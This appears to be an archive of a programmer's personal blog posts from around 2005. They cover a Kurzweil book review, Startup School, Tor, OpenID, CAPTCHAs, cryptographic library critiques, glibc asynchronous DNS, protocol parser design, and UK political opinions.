  Still the hotel is good and I've just got myself a bike to get around on. I need to change rooms, however, because I'm out of range of the wireless network for the hotel. Sitting in the lobby with a laptop is a pain. Oh, and ALSA is very upset about my laptop and that's foiled my plan to use SkypeOut. It's listing no soundcards and yet it's playing quite happily. Sadly recording is right out.

  I also see that Aaron Swartz has decided to keep with his startup company and not return to Stanford. And I was going to look him up now that I'm here too! Dropping out of college to start a company ... how's it feel to be a stereotype, Aaron?

  The Singularity Is Near

  

  This is a big book, and not just because the font is really huge; yet I can't help but feel that it would have been much better had it been a lot smaller.

  It's broken into three main parts. The first consists of a lot of graphs to really hammer home the message that exponential growth is happening all around us. And it's all very convincing in the areas which he chooses. Certainly everyone has come to live with and expect transistor counts to double every 18 months or so, but I will admit that I didn't know that productivity per hour of a US worker is also rising exponentially. What's neat is exactly how many of these graphs are really good straight lines.

  That goes on for quite a while and then the main part of the book is a huge long list of all the cool things that are happening right now across a wide range of subjects. All these developments are introduced to support the idea of the singularity happening and, to give credit where it's due, Kurzweil does make solid predictions about when things will start the happen. The amount of research that has gone into this book is impressive and it reads like a 10,000 overview of most of the interesting work in science and engineering today. That's also the problem with it. There's page after page of the stuff and none of it ever goes into enough detail to really be interesting. As soon as you want to know more you're whisked away to the next wonderful development.

  There is a large section of notes referencing everything, and this is good. But it's very hard to say that the book as a whole is very interesting reading. There is a third section, his responses to critics, but I don't feel that I actually want to bother reading it having slogged through the first two sections.

  In the end, even if I'm convinced that it's all going to happen, just as he says, how is it useful information? Knowing that the washing machine is broken is useful information because it allows me to make better choices (e.g. to not bother trying to do any washing today). But knowing that the future is going to be wonderful is nice - but I can't see how it helps me yet. If I'm going to live for hundreds of years then maybe I should save more? But, if Kurzweil is right, then we will all be fantastically (materially) wealthy anyway, so it doesn't really matter.

  How ever you spin it, there's a lot of hard work between here and there, so get back to work and you might have a technological utopia in a few decades if you're lucky

  "Walking the line that's painted by pride..."

  (I'm not sure if you get positive or negative points for knowing why I chose that title )

  So this weekend saw the first (maybe of many) Startup Schools, run by Y Combintator, which is Paul Graham's hacker starter helping company. I'm sure there is lots of stuff being written about it, but I can't give you any links right now because I'm sitting in Boston Airport and the WiFi costs about $8.

  Y Combinator have a couple of offices, one is walking distance from where I'm living in Mt View, the other is in Boston - the other side of the country. Guess where it was held? Nevermind, it gave me a chance to visit the east coast of the US, which I've never managed to do so far. The heavy rain certainly makes a difference from the montonous metrological monotone which is Bay Area weather. It's damp and cold here; it could almost be home. Photos on Flickr when I upload them.

  The event consisted of a party on Friday night, all day talks Saturday and, I think, something today, but I've to catch a flight. The speakers list was very impressive and uniformly the talks were excellent and very well received. Of course, Google was there with a recruitment talk which (In the opinion of several people more independent than I), kicked the arse of the Yahoo talk.

  It was very good meeting up with people; new people, people for the first physically, people unexpectedly and famous people. The latter category includes Stephen Wolfram (who is easer to talk to than to read), Paul Graham and Michael Mandel, the economics editor of Business Week.

  I don't know how many good startups will come of it. I'm certainly not going to be one of them (yet), comforable as I am in the generous embrace of Google. But Y Combinator is doing an excellent job.

  Still, I've a bike upside down on my kitchen floor with a punchture and a wheel nut which is too tight to get off with a spanner, a driving test to sort out, a better apartment to find and work tomorrow. Back to reality and, hopefully, back to posting a little more often than I have been.

  Startup School

  I'll be at Paul Graham's Startup School this October 15^th in case anyone who reads this will be there too. It's not that I'm looking to get out of Google before I've even started, but all good things...

  Looks like I left it a little late to book the hotel though. All the near by ones are sold out on the Saturday and I've ended up in a Holiday Inn some way away. Nevermind, there are always taxis.

  Crappy laptops

  And I really need to replace this old laptop as my main system. I'm sure that it was good in it's day, but it was a hand-down from someone else many years ago and it just can't keep up with Firefox. Thankfully, Opera have now released their browser for gratis, and without advertising. I guess that they've decided that they aren't going to win the desktop wars now and they should concentrate on their mobile offerings.

  It's certainly lighter than firefox (my laptop goes swap crazy a lot less) and it properly threads the page rendering so that loading (say) Bloglines doesn't freeze the whole browser for many seconds.

  It's Javascript/general AJAXy support isn't so good. Gmail works though. And the tabs act slightly wrong when you close them - it switches to the last viewed tab, which is almost never what I want.

  Still, if you too have a system with only 64MB of memory then give it a shot.

  What are they doing to these recordings?

  So today I brought the new KT Tunstall album because it's winning lots of awards and sounded like it could actually be pretty good. I'm going to skip over why a pressed CD needed so much error correction work from cdparanoia on the first couple of tracks and skip straight to the mastering. Here's part of the (raw, PCM) waveform from the forth track (which I picked at random):

  

  There's clearly some headroom there, but it's been really aggressivly compressed - and it sounds like it. I've never heard a kick drum sound like the skin was a hot water bottle.

  Which is a terrible shame because there's good music under there somewhere.

  Update: just to compare I thought I'd show a bit of Dire Straits at the same scale:

  

  New pyGnuTLS release than...

  New pyGnuTLS release thanks to a patch from Johan Rydberg

  Nearly gone...

  12 days to go... A few things which I've been doing recently before I loose them:

  Adding libevent support to Gambit Scheme: [patch]

  Adding edge triggered support to libevent: [patch]. You need this for the Gambit patch. Also, does anyone know if Neils (the libevent maintainer) is still alive?

  A small libevent based async DNS library designed to be embedded into applications rather than shipped as a .so file. This acutally has a known, rare bug in it but I'll have a fix and a real release of this soon: [eventdns.c eventdns.h]

  Best definition ever:Macr...

  Best definition ever:

  Macroxenoglossophobia - Fear of long, strange words.

  (from Wikipedia)

  Skype and the telephone interface

  Technically I must say that I'm quite impressed with Skype. The voice quality is good and it even managed to deal with the computer I ran it on - which is behind two NATs.

  I think they could have done a little better with the interface however. It's just like a normal telephone system; you call someone and their computer rings. You even get missed calls and the like.

  I'd like to see a more asynchronous system. At the moment there's no difference between a call to catch up with someone and an urgent call about the sky falling. I'm discouraged from the former because it's such an interruption and the latter risks getting confused with something less urgent.

  So why can't I place a call and tick a box to say "Low priority" and leave a little text message. I set my Skype to low priority and wait. When the other party sets their Skype to low priority I get a dialog saying, do you want to make this call now?

  But, of course, I Skype isn't open source.

  The role of judges

  Mr Howard is echoing the prime minister in calling for judges not to thwart the wishes of Parliament.

  That's interesting because, in this country, Parliament (being the Commons, Lords and Monarch) is sovereign. That means that if they say that all due process is rescinded and that all left handed people are to be shot then there's no legal device to stop them.

  Therefore Parliament has no need to worry that any judge can overrule them.

  So the reason why Howard and Blair are warning the judges is because they want to keep both the Human Rights Act and whatever they are dreaming up at the moment. Having the HRA gives them a warm feeling and the belief that they are better than countries which perform torture in house, as opposed to outsourcing it.

  There's no such thing as judges overruling Parliament in this matter. The Commons is just afraid of someone calling them on their contradictions.

  CAPTCHA issues

  Jeffrey Baker managed to OCR some of the images produced by my CAPTCHA program. This isn't terrible because I knew that some of the images were almost flat and could probably be OCRed, so I tweaked the rotation code so to make more of the images come out with larger angles.

  What I hadn't expected was that people would have such trouble reading them. I did a quick test and got 100% on a small set (about 50) of images. But some people can't even manage the sample images on that page. I certainly tuned the program so that I could read them and assumed that everyone would be the same. Clearly not.

  That means that I can't increase the angles of the images to break the OCR.

  So I got to thinking this morning while trying to forget a slightly weird dream (I was asleep and dreaming, in a dream. Then I became aware that I was dreaming, but I thought that I was only one level deep before waking up, twice). The point of the 3D text was to try to make a translator reconstruct the 3d world. (Which is (or should be) pretty easy for a human).

  So, meet Sammy the Stick Man:

  

  He gets rotated in lots of directions and you have to name which part of him is lit up. In this case the answer would be "left foot". Couple of problems: only 6 possible values. That's not actually too bad for the use I want it for because I'll be giving the user lots of them to solve so I can get a measure of their success rate (which had better be > 1/6 for a human). Next: there's too few images. It would be too easy to have a human classify 1000 images and then have the computer do a dumb image closeness match.

  So Sammy doesn't get released into the real world but maybe something will come of it.

  Skype

  I've finally got round to getting Skype working with SkypeOut. Seems good. People are free to try me over Skype (nick: aglangley) as I'd be interested to see how the quality of computer to computer is.

  That's all sorted then

  Barring the actual delivery of the paperwork I now seem set to start at Google full time in October. I'll be moving to Mountain View in late September. Anyone with experience of this (e.g. getting a drivers license etc) is welcome to email me about now ;)

  Books (see last post) are disappearing. I've moved about 20 of them so far. I'm trying to sell a few of the larger ones on Amazon to see if I can make something off them. A few have gone but I expect I'll have more going free if the rest are still here in four weeks time.

  Can anyone explain why batteries work the whole world over? Nothing else does - certainly not mains power which varies in every axis you can think of. Did some company have a worldwide monopoly on batteries for years and set all the standards?

  Currently working on: a standard library for Gambit Scheme.

  Lots of books

  With a bit of luck and a following wind I'm leaving the country quite soon and so the utility value of all my books are rapidly approaching zero. Once I have to store them the value actually becomes negative.

  Thus, if you live near me there are a whole lot of free books going. Here are a couple of pictures of a couple of my bookshelves. If you see anything you like you are welcome to drop by and pick it up (email me first though). If you live further away and you're willing to cover the postage, drop me an email as well.

  Update: I'm living in Cheltenham for the moment, not London.

  Image 1

  Image 2

  Gambit

  I've been on about concurrency orientated programming languages for a while now and mostly I've been working in Python; because I like Python. But I keep hitting the edges of the language. Generators were a very promising feature before I knew what they actually were. When they were being discussed it looked like Python was going to get full coroutines, but in the end generators ended up being crippled in several ways:

  • You cannot yield inside a function call because, once you try to, that function then becomes a generator too. This is the big problem.
  • You can only pass values out of a generator, not the other way round. This may be addressed in Python 2.5 with PEP 342. You can already get around it to some degree by updating an external variable.

  I'm sure generators solved the needs of some percentage of users at a lesser complexity and runtime cost of full coroutines. But support for PEP 342 is already showing that they struck the balance too far to the side of minimal changes.

  But the good news is that someone is building Erlang like concurrency primitives with Gambit in the form of a project called Termite. Gambit is a Scheme which can compile to C code (as well as being interpreted) and has support for full lightweight threads and continuations. If you read the linked slides above by Joe Armstrong you'll see his challenge to language writers about the number of message passing threads in a ring. That challenge is well met by Gambit in the examples directory.

  Termite doesn't have a source code release yet, but it should be soon. And scheme certainly has all the power one could ever want (and a syntax that no one would want). I'll post further comment when Termite is real.

  Open source CAPTCHA

  All the open source CAPTCHA programs either seem to be written in PHP or they are really easy to OCR (or both). So here's one which I hope is tough to break, is open source (CC public domain licensed) and runs as a simple CGI so anything should be able to use it.

  Got back from opentech la...

  Got back from opentech late last night and you can find my pictures on flickr. You can find everyone else's there too. Well done to Dave, Sam and Polly for organising it.

  OpenID server

  As I've said before, OpenID is a distributed single sign-on system. It also seemed like a good time to have a play around with this Ruby on Rails thing that everyone is going on about.

  So there is now openid.imperialviolet.org. Have fun.

  Profiteering

  Profiteering is good. I just thought I needed to point that out in the light of this: "Vow to shame any owners caught profiteering".

  Economics is the study of the allocation of scarce resources. Capitalism is the best solution that we have to that problem. It has problems (imperfect information, corruption etc) but fundamentally the laws of supply and demand work better than anything else that people have tried.

  Many people feel uncomfortable that hotels should profit from a disaster in some sense of solidarity with the victims. Solidarity is fine, but I don't think that means that everyone must have a bad day because some people did. Anyway, getting back to the point.

  When the demand for something rockets (as it did for hotel rooms in London on Thursday) hotels could keep their prices the same. In that case there will be a shortage of rooms because rooms will be allocated nearly on a first come, first served basis. Some people might be able to walk home but will decide not to bother because a hotel room isn't all that expensive. Other's, who cannot get home, can't get a room because they have all gone. I don't think anyone would imagine that that's a good scheme.

  So when hotel prices go up some people will decide that they value their money more than the comfort of not having to walk home. Those left in the hotel will be those who value the hotel room more. In a world of perfect information there would be no shortage of hotel rooms because the price would rise such that demand was suppressed to the level where it could be met exactly.

  And yes, that means that wealthy people might be able to get hotel rooms where less wealthy people might not. That's the reality of wealth and I would hope that most people know enough history to know that the alternative is much worse.

  I took the time today to ...

  I took the time today to phone (some of) my MEPs about the software patent vote tomorrow. I picked the names somewhat at random so long as they were representatives for an area I live in. Remember that the outcome we want is a vote for the Buzek-Rocard-Duff amendments.

  • Caroline Lucas: Voting for, goes for all Greens. Glad I voted Green for the EU
  • Richard Ashworth: Didn't know how he was going to vote
  • Gerard Batten: No answer
  • Chris Beazley: Answering machine (left message)
  • Andrew Duff: As I dialed I suddenly remembered what the amendments were called and suspected that this was probably a good guy. He was.
  • Fiona Hall: Answering machine (left message)
  • Sarah Ludford: Didn't know. Will email me.

  Overall, not a stunning outcome.

  If you want to call some MEPs today (and please do) you can find phone numbers and names here. Remember that the international escape code is 00 (so replace + in phone numbers with that) and you don't dial the zero in brackets (if any).

  When I phoned I basically said this, and it seemed to work ok:

  Good afternoon. Is that the office of FULLNAME? I'm just phoning to register my hope that TITLE SURNAME will be voting for the amendments in the software patents vote tomorrow.

  ... and go with the flow from there. I found that the Brussels office is more often manned, but I think the actual people are at Strasbourg.

  (background information on this issue.)

  Was a little surprised to...

  Was a little surprised to see this in the Independent today (note the author). I suppose I shouldn't be since he talks so much anyway.

  

  Decoupling authentication and IP addresses

  No one uses IP addresses for authentication these days, right? All that went out with rhosts one would hope. Sadly it's not true and when you have an anonymising onion network you really start to understand how important IP authentication still is.

  Many sites ban all Tor nodes from posting. Many IRC networks (even the `clueful' ones like freenode) ban Tor as well. This is usually caused by abuse from trolls using Tor, of course. But the only course of action that these networks have is to ban by IP address.

  So, more precisely, IP addresses aren't a source of authentication as much as they are a finite resource which can be used to hit people with. Like loosing a deposit, loosing an IP address is a punishment to deter people from abuse since IP addresses are considered finite.

  Now that's a pretty bad approximation and leads to people getting banned for no good reason because someone else was a troll from the same IP address. It really starts to go wrong in the face of large proxies (like AOLs), dynamic IP ranges and, of course, Tor.

  OpenID is the most exciting movement in this area that I've seen for a long time. (it's a protocol which could never be written by a standards body because it's designed to work given the realities of the Internet, not despite them. For an example of the latter see IPv6).

  OpenID basically lets you nominate a server as your `identity' and prove to a 3^rd party that you control it. That doesn't solve anything right away because I can produce identities at will. What we need is an alternative limited resource which we can hit people with.

  Hashcash uses CPU time which is a little problematic because the speed difference between someone on a dual-core, 64-bit Athlon and a mobile phone is pretty big. Mojonation used disk space - which is problematic because it's difficult to make that work in this context.

  I'm suggesting that we use human time as measured by CAPTCHAs. Although the state of the art in breaking CAPTCHAs is getting pretty good, the best CAPTCHAs are still good enough. You can easily imagine a page which would take half an hour to complete and would sign an identity when done. That half an hour of time is the limited resource that you can loose.

  Of course, you can hire out a sweatshop in China to solve these things, or make a distributed network of people paid in free porn but the threat model here is the Slashdot troll. And how well would your IP address blocking scheme work against the same attack?

  What's the transition path? (If an idea doesn't have a transition plan that's probably because the transition will never happen; again, see IPv6.) Websites can start using this right away in the whole `single sign on' way that OpenID is designed to allow. Other services are more of a plain because specific client and server libraries need to be written along with an ssh-agent like daemon. So let's leave IRC alone for a while and see if we can get sites like Wikipedia to allow it.

  (Actually, in the case of Wikipedia I'm not too hopeful. I've had a patch to improve their IP blocking pending for weeks now with no movement what so ever.)

  MGM vs. Grokster

  (you should, of course, read read the judgement before reading any comments on it.)

  The important paragraph in this result is:

  One who distributes a device with the object of promoting its use to infringe copyright, as shown by clear expression or other affirmative steps taken to foster infringement, going beyond mere distribution with knowledge of third-party action, is liable for the resulting acts of infringement by third parties using the device, regardless of the device's lawful uses.

  This is pretty vague, legal wise. Consider the design of Freenet. Node operators were unable to see what data was stored on their node. It could have been fragments of any file and we considered that a defence against "questionable content" (e.g pro-democracy docs in China). Now, imagine that Freenet ever worked well enough to allow for large scale file sharing. Does that aspect of the design open us up to an MGM lawsuit? It's an `affirmative step' taken to make the network difficult to police. Therefore the argument comes down to `we weren't thinking of file sharing when we designed it - honest!'. It seems pretty impossible to believe that technically competent people wouldn't consider that any communication system could be used for file sharing.

  This ruling requires a lot of clarification before there can be any kind of checklist of what is illegal. In the mean time you have to consider if you want to develop any kind of network because you might get sued for it. That's exactly the permission world that MGM et al want. Change is a bitch for those who profit by the status quo.

  We apologise for this short interruption of service...

  Firstly, sorry to anyone who emailed me in the last three days and I didn't get back to them. My (somewhat crappy) host had a server failure and I didn't notice. The backlog of email is getting through now.

  Secondly, I'm on an RSI avoidance typing break for a while. Nothing serious, just a definite hint from my body that I need to stop hacking for a bit. I intend to do something about it when I get home (probably involving a Kinesis keyboard and trackball) but until then I'm taking a break and crewing (single-handedly it turns out) a play in Bethnal Green.

  Current hacking plans involve adding OAEP and DH support to nettle and then finishing pyThistle (a Python crypto library built on nettle). pyThistle then replaces libgcrypt (see rant below) in my Python Tor node. Hopefully, when the Tor node works it can be a platform for testing new ideas in Tor.

  Also, my Google searchkeys script might be used in a forthcoming book by Mark Pilgrim (of Dive Into x fame). That is assuming that I ever manage to remember to fax the permission form off.

  That's it. All done.

  Finished at Imperial. If you really want you can read my final project report. There's nothing new in there for IV readers.

  Well done BBC...And we've...

  Well done BBC...

  And we've just had another huge roll of thunder.

  At least no one is panicing

  We're at a strange point in cryptography at the moment. Two of our foundations are mortally wounded and no one seems to have a good answer to either of them. Our unfortunate foundations are SHA1 and AES.

  Lots of people have debated about how important the break of SHA1 (and MD5 et al) really is. These two postscript documents with the same hash are the latest round from the “it's important!” crowd. The defense is pointing out that the postscript files are actually programs which introspect themselves and you can never trust such a document etc.

  But the point is that you now have to sit down and consider if the way that you're using SHA1 is weak. That's morally wounded. A good hash function shouldn't need thought to use.

  Next up, AES. The blow was delivered by DJB in this paper. I've not seen many people talking about it, but it seems to me that you now have to sit down and consider how you're using AES and how much timing information you're leaking each time you use it. That's also mortally wounded.

  So, where do we go from here? (And, if you can hear the tune as you read those words you're a wise man )

  Why one should never use libgcrypt

  I've been using libgcrypt in a Tor related project and I must say that it's terrible:

  • The public key interface is so terribly abstract they've implemented S-expressions (in C) via which you pass all the data. It's only two algorithms! The abstraction layer is several times thicker than the actual useful code!
  • (yes, they do have an alternative interface to the public key code but it's little better and restricted. I'm now using the MPI code directly and implementing RSA myself. The MPI code, at least, works.)
  • None of the hashes can be used progressively. Once you call read() you can't update them any more.
  • Counter mode is a joke. I spent about three hours tracking down a bug only to find that their idea of counter mode was completely wrong. I've sent a patch, but no reply yet.

  Mr. Blair: 'Ello, I ...

  Mr. Blair: 'Ello, I wish to register a complaint.

  (The owner does not respond.)

  Mr. Blair: 'Ello, Miss?

  Owner: What do you mean "miss"?

  Mr. Blair: I'm sorry, I have a cold. I wish to make a complaint!

  Owner: We're closin' for lunch.

  Mr. Blair: Never mind that, my lad. I wish to complain about this constitution what I purchased not half an hour ago from this very boutique.

  Owner: Oh yes, the, uh, the EU Constitution...What's,uh...What's wrong with it?

  Mr. Blair: I'll tell you what's wrong with it, my lad. 'E's dead, that's what's wrong with it!

  Owner: No, no, 'e's uh,...it's paused.

  Mr. Blair: Look, matey, I know a dead constitution when I see one, and I'm looking at one right now.

  Owner: No no it's not dead, it's, it's paused'! Remarkable constitution, the EU constitution, idn'it, ay? Beautiful language!

  Mr. Blair: The language don't enter into it. It's stone dead.

  Owner: Nononono, no, no! 'E's paused!

  Mr. Blair: All right then, if he's paused', I'll start it up!. 'Ello, Mister Constitution! I've got a lovely fresh new member for you if you show...

  (owner hits the cage)

  Owner: There, it passed!

  Mr. Blair: No, it didn't, that was you fixing the vote!

  Owner: I never!!

  Mr. Blair: Yes, you did!

  Owner: I never, never did anything...

  Mr. Blair: (yelling) 'ELLO POLLY!!!!! Testing! Testing! Testing! Testing! This is your nine o'clock alarm call!

  (Takes constitution and thumps it on the counter. Withdrawls plans for a UK referendum)

  Mr. Blair: Now that's what I call a dead constitution.

  Owner: No, no.....No, it's stalled!

  Mr. Blair: STALLED?!?

  Owner: Yeah! You stalled it, just as it was gettin' going! EU Constitutions stall easily, major.

  Mr. Blair: Um...now look...now look, mate, I've definitely 'ad enough of this. That constitution is definitely deceased, and when I supported it not 'alf an hour ago, you assured me that its total lack of movement was due to voter apathy

  Owner: Well, it's...it's, ah...probably a protest vote against unpopular governments

  Mr. Blair: PROTEST' against unpopular GOVERNMENTS?!?!?!? What kind of talk is that?, look, why did it fall flat on its back the moment it got put to the vote?

  Owner: The EU Constitutions prefers keepin' on it's back! Remarkable constitution, id'nit, squire? Lovely language!

  Mr. Blair: Look, I took the liberty of examining that constitution when I got it home, and I discovered the only reason that it even been proposed in the first place was that NO ONE had ever managed to read it all.

  (pause)

  Owner: Well, o'course no one's read it! If people read it they would be marching down the streets DEMANDING its introduction

  Mr. Blair: "DEMANDING"?!? Mate, this constitution wouldn't be introduced if you put four million volts through it! 'E's bleedin' demised!

  Owner: No no! 'E's stalled!

  Mr. Blair: 'E's not stalled! 'E's passed on! This constitution is no more! It has ceased to be! 'E's expired and gone to meet its maker! 'E's a stiff! Bereft of life, 'e rests in peace! If you hadn't started on about the rebate 'e'd be pushing up the daisies! Its metabolic processes are now 'istory! 'E's off the twig! 'E's kicked the bucket, 'e's shuffled off 'is mortal coil, run down the curtain and joined the bleedin' choir invisibile!! THIS IS AN EX-CONSTITUTION!!

  Owner: What about that rebate then?

  Mr Blair: fuck off.

  New page - ICSM Choir at ...

  New page - ICSM Choir at St Paul's Church recorded by YT.

  Live 8

  You can now txt C to the Live 8 number (84599) to enter into the draw. Let's say, for example, that 10 million people enter. There are 72,500 winners (each winner gets a pair of tickets, but I'll not count the lucky tag-alongs as winners for now). So there's a 72500/10000000 = 1/133 chance of winning a ticket. Since each entry in the draw costs £1.50-£1.60 the effective price of a ticket-pair is £199-£213. That's one hell of an expensive ticket!

  New page up about using T...

  New page up about using Tor with Firefox 1.1

  Asynchronous DNS lookups with glibc

  This is very poorly documented, but glibc can do DNS lookups asynchronously. You can get the original design document here, but it's a bit verbose.

  Firstly, this is glibc specific and you need to link against libanl. The headers you'll need are netdb.h and signal.h

  The core function is getaddrinfo_a which takes four arguments:

  int getaddrinfo_a(int mode, struct gaicb *list[], int ent, struct sigevent *);

  The mode is either GAI_NOWAIT or GAI_WAIT. Since you're trying to do asynchronous lookups you'll want GAI_NOWAIT. A gaicb looks like:

  struct gaicb {
  	const char *ar_name;
  	const char *ar_service;
  	const struct addrinfo *ar_request;
  	struct addrinfo *ar_result;
  };

  You should see the manpage for getaddrinfo for details of those fields. In short, set ar_name to the hostname, ar_service, ar_request and ar_result to NULL.

  So, getaddrinfo_a takes a pointer to a list of those structures and ent is the number of entries in that list. The final argument tells glibc how you want to be informed about the result. A sigevent structure looks like:

  strict sigevent {
  	sigval_t sigev_value;
  	int sigev_signo;
  	int sigev_notify;
  	void (*sigev_notify_function) (sigval_t);
  	pthread_addr_t *sigev_notify_attributes;
  };

  So you can either ignore the notification (set sigev_notify to SIGEV_NONE), get a signal (set sigev_notify to SIGEV_SIGNAL) or request a callback in a new thread (set SIGEV_THREAD).

  Hopefully the rest of the values are fairly obvious in light of that. If you want the sigev_value to be passed to a signal handler you'll need to register the handler with the SA_SIGINFO flag to sigaction. Also remember that the realtime signals (SIGRTMIN+0 to SIGRTMIN+31) are free for user-defined uses.

  When you get notified (or, indeed, at any time) you can call int gai_error(struct gaicb *) which will return 0 if the request is ready. A return value other than EAI_INPROGRESS is an error code which you can find as EAI_* in netdb.h. Once you know that a request has completed you can get the result from the ar_result member. And you will remember to call freeaddrinfo won't you?

  First release of new proj...

  First release of new project: pyGnuTLS

  Hmm, I wonder if it's getting too complex...

  

  Apparently I'm all wet!

  Jeff Darcy replies to my last post:

  What Adam seems to be considering is only a pure party-list system, in which there is no geographic representation at all, but thats not the only kind. In fact, under either an Additional Member System or Mixed Member System (from the copy of the Voting Systems FAQ that I've been hosting for two years), the exact balance between geographically-elected and “at” large candidates can be set anywhere from one extreme to the other just by adjusting the number of representatives selected each way. If the "my local representative works for me" dynamic is weaker under such a system, its by design.

  When people shout “proportional representation”, that's what they mean around here. I didn't mean to suggest that other systems with proportional elements don't exist, but even in those systems my concerns still stand (to a greater or lesser extent, depending on the degree of proportionality).

  Proportional representation is not a way to select MPs, it's a way to select parties. In a proportional vote you really might as well give the parties block votes and save the effort. Debates may be held, but a party has made its mind up by the time the bill reaches the house. (The quality of Commons debates is usually pretty bad as well.)

  That brings me to a more general kind of question about arguments like Adams. Why is geographic representation considered so important anyway?

  Geographic selection is much less useful and less needed now than ever before. But it still gets us a specific representative for each person in the country. (As you can guess, I quite like that.) I think there should be more feedback for a legislature than a single vote once every five years. I just don't see that a letter to "party headquarters" is the same. (Maybe I'm fooling myself in thinking that writing to an MP makes any more difference at the moment.)

  So maybe we would be better off without a geographical basis. Let people vote for a single party and give that party voting power equal to number of votes/total number of voters. The party can then use their fraction to vote in a representative manner (possibly with internal voting procedures). We could all vote for the "Freedom loving geek party" and be happily represented.

  (In fact, if a party were allowed to split their fraction into "yes" and "no" parts we could vote for a direct democracy party which would let its members vote on each and every decision and split the party vote accordingly. Direct democracy worries me because a great many of my fellow countrymen are really stupid. Several years ago I'm sure that a popular vote would have introduced the death penality for pediatricians, such was the public concern about pedophiles.)

  This also leaves open the question of how the executive is selected. At the moment it's the leader of the biggest party (well, actually, it's up to the Queen, but she's pretty predictable). With a proportional system may well need to directly elect the executive too. Condorcet anyone?

  But I'm unsure about proscribing such a change because there are likely to be lots of emergent effects. Thus my support for a fairly modest change (to approval voting) at first.

  Male Brains

  A little while back the president of Harvard upset a lot of people by suggesting that men and women aren't identical. Steven Pinker and Elizabeth Spelke recently had a fantastic debate on this subject (though they are careful to call it a conversation for some reason). You should absolutely take the time to watch it.

  As you can probably guess I started watching it with the opinion that there are important differences between males and females which go some way to explaining the ratio in top-tier academic positions. After watching it I still have that view, but I enjoyed Spelke's presentation as a mental exercise in picking apart arguments if nothing else.

  I think that discrimination is stupid and wrong and I certainly don't support “affirmative action”. Discrimination is still wrong even when someone says “It's fine in this case because it's discriminating in favor of what I want”. It's amazing how quickly some groups turn about when the discrimination is in their favor.

  Electoral Reform

  Once again, many people are looking at the numbers of MPs vs. the percentage of votes cast and noting the sad difference that first-past-the-post brings. Proportional representation and STV are being shouted again.

  Firstly, STV sucks[1][2]. It should never be used for anything.

  Secondly, proportional representation means that no one is responsible for you. At the moment, you can type your postcode into TheyWorkForYou and find out your your MP is. Your very own MP and there's no discussion about who is responsible for listening to your concerns.

  Party lists mean that many people are responsible for you, and that means that no one is. And they have to vote with the government because their job depends on it. MPs in this situation become so useless they could just as well give the parties a block vote and be done with it.

  And, of course, there are lots of parties and lots of backroom dealings to form coalitions. Ick.

  As a first step I think we should switch to constituency based approval voting to eliminate tactical voting and redistrict to make things a little more fair. It's a good first step and we can reassess things after a couple of elections under that system.

  (Lack of posting due to e...

  (Lack of posting due to exams - which still aren't over)

  Yep, I've voted. Actually I did it sometime ago since it was a postal vote. Not because I'm lazy, but because I live on the other side of the country. I actually quite like going to the polls and wouldn't postal vote given the chance.

  Truly, this time, it was a question of the least bad option. There are no center-right options in this country. Because of that we'll wake up tomorrow with another Labour government, but with a reduced majority.

  The country feels like it's standing in line at the supermarket. The queue is dreadful but, looking to the left and right - none of the others look like they're moving any faster. So you just stay where you are because you really don't want to jump queues and find out that the original one was a better option.

  Never mind, because much more important to the future is the French vote on the EU Constitution later this month - and I don't even get to vote in that.

  Better typing through key maps

  Everything I program these days is either C++ or Python and I'm sure that if a keyboard was designed by Python programmers it wouldn't be Qwerty. "Dvorak" they shout and I know that it works for some - but not for me. It screws me up too much whenever I use another computer.

  However a few small tweaks have improved the comfort to Qwerty a lot for me. I have these mappings at Vim insert level (imap) so they only happen in one mode of one application, which works ok for me (though it is a pain when using the Python interactive console). They all consist of switching an unshifted keypress with a shifted one. (please note that I use a UK keyboard.)

  Python

  • '-' ↔ '_' — __init__, function_names, need I say more? Underscore is a much more useful character to have unshifted.
  • '9' ↔ '(' and '0' ↔ ')' — again, brackets are far more useful than the numbers, though I do type 0 far more often that I had realised.
  • ';' ↔ ':' — when is semi-colon ever used in Python?

  C/C++

  • The whole top row from '1' to '-' — '"', '&' and '*' esp useful to have to hand. Also shifting all the numbers doesn't mean that some digits are shifted and some aren't, as with my Python mappings.
  • '`' ↔ '->' — not a key mapping as such since the result is more than one character long - but very useful.

  For C++ I'm also looking at the '\'' and '#' keys and wondering if they could be put to better use.

  Parsers for network protocols

  (If you wish, you can see this post as being related to the previous two. This is all about automatically building state machines, which happens to be very useful in Actor systems. If you can make all your actors stack-free then you can save memory, schedule them across worker threads etc. But, it also stands alone.)

  Parser theory is well established. People usually reach for the parser generator when it comes to handling complex files. (Possibly not quite as often as they should if the state of some config parsers is anything to go by.) Parsers are understood and work.

  Why then does no one use them for parsing network protocols? It's not like network protocols are too simple. Take section nine of the IMAP RFC. That's complex. Why does anyone want to write a parser for that when the EBNF is provided?

  Did you know that the following is valid HTTP?:

  GET / HTTP/1.1
  Host:
    www.webserver.com

  If you read the HTTP RFC and the EBNF definitions of LWS etc you can check it. It's the sort of thing that hand built parsers often miss. It doesn't work with whatever webserver /. is using for one.

  These aren't simple protocols and, if you're coding in C/C++, chances are you'll screw it up in a buffer-overflowable or a seg-fault-killing-the-whole-process way. Parsers can do it better.

  So why don't people use generated parsers? Probably because they've been designed for parsing files and all the toolkits are built around that idea:

  • Common generated parsers don't allow partial results. They parse the whole thing and give you a big tree but you probably want information about what's happening as they happen.
  • Parsers often generate foul right-recursive parse trees.
  • Parsers often need a tokenising pre-processing step which doesn't work well for network protocols which have complex token rules and binary data mixed in with the text.
  • Parsers often need lots of rule mangling before the grammar works.

  Less importantly...

  • Parser generators aren't that simple. Even an SLR parser (a simple one) takes 800 lines of Python in my implementation.
  • They're slower. Probably not an issue with C code, but my pure Python parser does only 200 HTTP headers/second on a 450MHz PII.

  I've addressed the first four problems something I'm hacking up at the moment. Firstly, you can tell when any reduction happens as soon as you feed the data into the parser. So you could ask for the HTTP headers as they happen.

  To explain the second problem, consider SLR type rules:

  Token := TokenChar
  Token := TokenChar Token

  That parses one-or-more TokenChars into a single Token. But that leaves you with a parse tree like this for the input POST: ['P', ['O', ['S', ['T']]]]. The key to this are reduction functions which do something sensible with the parse tree as they're being generated. The above would be:

  Token = OneOrMore(TokenChar, string_)

  Where string_ is a special marker which says "It's a string, so give me something sensible in the parse tree" If nothing does what you need, you can define your own:

  Token = OneOrMore(TokenChar)
  def Token_reduce(values):
  	return ''.join(values)

  (and that does exactly the same thing.) Also, special forms like OneOrMore save you from thinking (too much) about how to write the grammar. OneOrMore is a simple case but something like Alternation(a, b) (a sequence of a, separated by b with optional bs at the beginning and end with reduction functions which give you a flat list of them) isn't.

